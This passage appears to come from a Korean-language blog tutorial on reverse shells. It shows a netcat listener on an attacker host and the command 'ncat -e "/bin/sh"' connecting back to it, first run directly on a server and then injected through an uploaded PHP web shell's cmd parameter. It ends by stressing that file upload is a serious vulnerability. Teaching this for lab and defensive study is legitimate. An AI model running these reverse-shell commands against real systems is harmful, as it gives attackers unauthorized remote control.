Desktop> nc.exe -l -p 12121



(포트 개방)



그 후 서버에서
# ncat -e "/bin/sh" 192.168.3.228 12121
을 이용하여 요청하게 하는 것이다.


(서버의 요청)



그러면 아까와 같이 쉘이 연결되어
원격 쉘을 사용할 수 있게 된다.



(원격 쉘 사용)



바로 이게 리버스 쉘이다.


리버스 쉘이 우리가 직접 서버에서 연결을 시켜줘서
간혹 이게 왜 취약한거지? 라고 생각이 들 수 있다.
하지만 웹쉘과 리버스 쉘을 같이 이용한다면???
이번엔 우리가 서버를 만지지 않고 쉘을 획득해보겠다.

먼저 윈도우 공격자의 호스트 포트를 열어준다.



(포트 개방)




그 후 아까 우리가 업로드 했던 웹 쉘을 이용하여
cmd 변수에
ncat -e "/bin/sh" 192.168.3.21 12121
우리의 IP 주소와 우리가 열었던 포트번호를 입력하여
넘겨준다.



(웹쉘 사용)



그렇게 되면
우리는 아까와 같이 리버스 쉘이 적용되어
원격 쉘을 이용할 수 있게 된다.


(원격 쉘 접속)




이렇듯
우리가 만든 php 파일이 웹 서버에 올릴 수 있다는 것은
엄청난 취약점이 된다.
이를 통해 시스템까지 침투할 수 있기 때문이다.


+ Recent posts